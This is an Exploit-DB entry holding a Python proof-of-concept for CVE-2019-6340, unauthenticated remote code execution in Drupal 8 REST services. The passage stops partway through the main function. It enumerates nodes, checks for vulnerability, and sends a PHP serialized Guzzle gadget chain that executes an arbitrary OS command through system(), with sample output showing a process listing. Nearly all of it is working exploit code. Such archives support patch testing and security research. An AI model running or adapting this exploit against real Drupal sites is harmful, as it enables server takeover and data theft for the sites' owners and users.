Exploit-DB #46459
Description: Drupal < 8.6.9 - REST Module Remote Code Execution
Type: webapps
Platform: php
Date: 2019-02-25
Author: leonjza

Exploit:
#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
#   https://www.drupal.org/sa-core-2019-003
#   https://www.ambionics.io/blog/drupal8-rce
#   https://twitter.com/jcran/status/[PII_REDACTED]01798400

# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
#  by @leonjza
#
# References:
#  https://www.drupal.org/sa-core-2019-003
#  https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
# root        49  0.0  0.0   4288   716 pts/0    Ss+  16:38   0:00 sh
# root         1  0.0  1.4[PII_REDACTED]0 ?        Ss   15:20   0:00 apache2 -DFOREGROUND
# www-data    24  0.1  2.8[PII_REDACTED]2 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    27  0.1  2.9[PII_REDACTED]8 ?        S    15:20   0:08 apache2 -DFOREGROUND
# www-data    31  0.0  3.4[PII_REDACTED]8 ?        S    15:22   0:04 apache2 -DFOREGROUND
# www-data    39  0.0  2.7[PII_REDACTED]2 ?        S    16:14   0:02 apache2 -DFOREGROUND
# www-data    44  0.2  3.2[PII_REDACTED]0 ?        S    16:37   0:05 apache2 -DFOREGROUND
# www-data    56  0.0  2.6[PII_REDACTED]0 ?        S    16:38   0:01 apache2 -DFOREGROUND
# www-data    65  0.0  2.3[PII_REDACTED]0 ?        S    16:40   0:01 apache2 -DFOREGROUND
# www-data    78  0.0  2.5[PII_REDACTED]0 ?        S    16:47   0:01 apache2 -DFOREGROUND
# www-data   117  0.0  0.0   4288   712 ?        S    17:20   0:00  \_ sh -c echo

import sys
from urllib.parse import urlparse, urljoin

import requests


def build_url(*args) -> str:
    """
        Builds a URL
    """

    f = ''
    for x in args:
        f = urljoin(f, x)

    return f


def uri_valid(x: str) -> bool:
    """
        https://stackoverflow.com/a/38020041
    """

    result = urlparse(x)
    return all([result.scheme, result.netloc, result.path])


def check_drupal_cache(r: requests.Response) -> bool:
    """
        Check if a response had the cache header.
    """

    if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
        return True

    return False


def find_article(base: str, f: int = 1, l: int = 100):
    """
        Find a target article that does not 404 and is not cached
    """

    while f < l:
        u = build_url(base, '/node/', str(f))
        r = requests.get(u)

        if check_drupal_cache(r):
            print(f'[x] Node enum found a cached article at: {f}, skipping')
            f += 1
            continue

        # found an article?
        if r.status_code == 200:
            return f
        f += 1


def check(base: str, node_id: int) -> bool:
    """
        Check if the target is vulnerable.
    """

    payload = {
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
            }
        },
        "type": {
            "target_id": "article"
        },
        "title": {
            "value": "My Article"
        },
        "body": {
            "value": ""
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
        return False

    if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
        return True

    return False


def exploit(base: str, node_id: int, cmd: str):
    """
        Exploit using the Guzzle Gadgets
    """

    # pad a easy search replace output:
    cmd = 'echo ---- & ' + cmd
    payload = {
        "link": [
            {
                "value": "link",
                "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
                           "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
                           "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
                           "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
                           "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
                           "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
                           "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
                           "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
                           "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
            }
        ],
        "_links": {
            "type": {
                "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
            }
        }
    }

    u = build_url(base, '/node/', str(node_id))
    r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

    if check_drupal_cache(r):
        print(f'Exploiting {node_id} returned cache HIT, may have failed')

    if '----' not in r.text:
        print('[warn] Command execution _may_ have failed')

    print(r.text.split('----')[1])


def main(base: str, cmd: str):
    """
        Execute an OS command!
    """

    print('[+] Finding a usable node id...')
    article = find_article(base)
    if not article:
        print('[!] Unable to find a node ID to reference. Check manu